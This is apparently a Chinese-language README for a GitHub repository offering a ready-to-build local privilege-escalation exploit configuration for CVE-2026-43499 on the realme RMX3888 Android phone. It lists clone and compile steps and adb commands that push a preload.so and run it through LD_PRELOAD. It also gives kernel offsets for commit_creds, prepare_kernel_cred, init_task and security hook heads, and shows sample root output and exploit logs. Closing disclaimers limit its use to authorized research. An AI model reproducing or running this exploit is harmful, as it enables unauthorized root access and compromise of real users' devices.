针对 realme RMX3888 (Android 16) 的 CVE-2026-43499 利用配置 - 20个已验证的内核偏移量
本仓库包含针对 realme RMX3888 设备的 CVE-2026-43499 (GhostLock) 漏洞利用的完整配置文件。所有内核偏移量均已从设备的 boot.img 中提取并验证。
✓ 20 个已验证的内核偏移量,提取自 vmlinux
✓ 实时日志记录,使用 O_SYNC + fsync 以防止内核崩溃
✓ 针对 RMX3888 的设备专用配置
✓ 一键编译脚本,支持 NDK 自动检测
✓ 全面的文档,包含构建指南
ealtime_log.h - 实时日志记录实现
ound2_report.md - 配置报告(第 2 轮)
git clone https://github.com/Bailan766/rmx3888-cve-2026-43499-config.git
cd rmx3888-cve-2026-43499-config
export ANDROID_NDK_HOME=/path/to/android-ndk
chmod +x compile_rmx3888.sh
./compile_rmx3888.sh
在 Windows Git Bash 上,脚本会自动检测 Android Studio 和命令行工具使用的默认 SDK 路径:/c/Android/Sdk/ndk/*。
注意:ASHMEM_MISC_FOPS、ASHMEM_COMPAT_IOCTL 和 COPY_SPLICE_READ 目前在 RMX3888 目标头文件中使用与构建兼容的回退值。在依赖运行时行为之前,请将这些值替换为经过验证的 RMX3888 vmlinux 偏移量。
# Push to device
adb push build/rmx3888-BP2A.250605.015/bin/preload.so /data/local/tmp/
# Set permissions
adb shell chmod 755 /data/local/tmp/preload.so
# Execute exploit
adb shell LD_PRELOAD=/data/local/tmp/preload.so id
# Check logs
adb shell cat /sdcard/Download/log_*.txt
以下主要偏移量提取自内核 6.1.141。关于仍需针对 RMX3888 进行验证的构建兼容回退条目,请参见上方的说明。
#define KIMAGE_TEXT_BASE 0xffffffc008000000ULL
#define INIT_TASK_OFF 0x0202fc00ULL
#define SECURITY_HOOK_HEADS_OFF 0x015c1488ULL
#define ASHMEM_FOPS_OFF 0x0126bbe0ULL
#define COMMIT_CREDS 0xffffffc0081e9b60 (offset: 0x001e9b60)
#define PREPARE_KERNEL_CRED 0xffffffc0081e9df0 (offset: 0x001e9df0)
// ... 15 more verified offsets
集成的实时日志记录模块提供:
uid=0(root) gid=0(root) groups=0(root),1004(input),1007(log),...
[18:00:01] [] Starting exploit... [18:00:02] [+] Kernel base leaked: 0xffffffc008000000 [18:00:03] [] Preparing heap spray... ... `
有关详细的故障排除说明,请参阅 BUILD_GUIDE.md,包括:
⚠️ 警告:此配置仅用于授权的安全研究。
此配置仅用于教育和安全研究目的。
此仓库包含安全研究材料。作者和贡献者不对因使用此代码而导致的任何滥用或损害负责。请自行承担风险,并仅在您拥有或获得明确授权进行测试的设备上使用。
生成时间:2026-07-23
内核版本:6.1.141-android14-11-o-gffc54a6d2287
偏移量验证:100%(20/20)
状态:可进行编译